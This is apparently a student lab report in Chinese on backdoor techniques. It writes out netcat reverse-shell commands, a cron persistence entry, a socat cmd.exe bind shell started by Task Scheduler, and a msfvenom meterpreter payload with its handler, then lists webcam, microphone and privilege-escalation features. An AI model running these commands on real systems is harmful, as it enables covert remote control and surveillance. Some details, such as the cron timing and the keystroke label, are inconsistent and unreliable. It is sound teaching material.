20155324《网络对抗》Exp2 后门原理与实践
20155324《网络对抗》Exp2 后门原理与实践
20155324《网络对抗》Exp2 后门原理与实践
常用后门工具实践
Windows获得Linux Shell
-
在Windows下,先使用
ipconfig
指令查看本机IP:
-
使用
ncat.exe
程序监听本机的5324端口:
- 在Kali环境下,使用
nc
指令的-e
选项反向连接Windows主机的5324端口:
- Windows下成功获得了一个
Kali
的shell
,运行ls
指令如下:
Linux获得Windows Shell
-
过程与之前的类似,在Kali环境下用ifconfig查看IP:
-
使用nc指令监听5324端口:
-
在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5324端口:
-
Kali下可以看到Windows的命令提示,可以输入Windows命令:
使用nc传输数据
-
Windows下监听
5324
端口: -
Kali下连接到Windows的
5324
端口:
-
建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
实验内容
使用netcat获取主机操作Shell,cron启动
-
先在Windows系统下,监听
5324
端口:
-
在
Kali
环境下,使用man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。
-
用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:用crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行 -
在最后一行添加13 * * * * /bin/netcat 192.168.1.103 5324 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5324端口,设置成37的原因是我当时的时间是19点36,为了能立马看到效果,所以我将时间设置在了一分钟以后:
-
当时间到了16点13时,此时已经获得了Kali的
shell
,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了13分时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
基础知识
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。 -
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
- 在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5324 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5324,同时把cmd.exe
的stderr
重定向到stdout
上: - 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
4. 此时,在Kali环境下输入指令socat - tcp:192.168.1.103:5324
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5324端口,此时可以发现已经成功获得了一个cmd shell
:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.128 LPORT=5324 -f exe > 2015324_backdoor.exe
生成后门程序:
通过nc指令将生成的后门程序传送到Windows主机上:
在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口
Linux使用exploit命令开始监听,此时在Win上执行后门程序。
打开Windows上的后门程序:
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
- 录音功能:record_mic
- 拍照功能:webcam_snap
- 拍摄视频功能:webcam_stream
- 记录击键功能:screenshot
- 提权:getuid以及getsystem
实验总结与体会
通过本次实验我都惊了!通过电脑直接的控制来实现一些功能,从而达到目的。所以我们要在日常使用电脑的过程中正确的使用,不让居心不轨者有可乘之机。